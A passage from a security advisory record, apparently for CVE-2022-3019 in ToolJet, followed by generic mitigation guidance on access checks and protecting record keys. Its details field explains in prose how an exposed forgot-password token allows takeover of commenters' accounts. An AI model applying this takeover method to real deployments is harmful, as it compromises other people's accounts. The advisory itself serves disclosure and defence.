  "details": "The forgot password token basically just makes us capable of taking over the account of whoever comment in an app that we can see (bruteforcing comment id\u0027s might also be an option but I wouldn\u0027t count on it, since it would take a long time to find a valid one).",
  "id": "GHSA-w4fh-p39j-749c",
  "modified": "2022-09-02T00:01:03Z",
  "published": "2022-08-29T20:06:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3019"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tooljet/tooljet/commit/45e0d3302d92df7d7f2d609c31cea71165600b79"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/a610300b-ce3c-4995-8337-11942b3621bf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.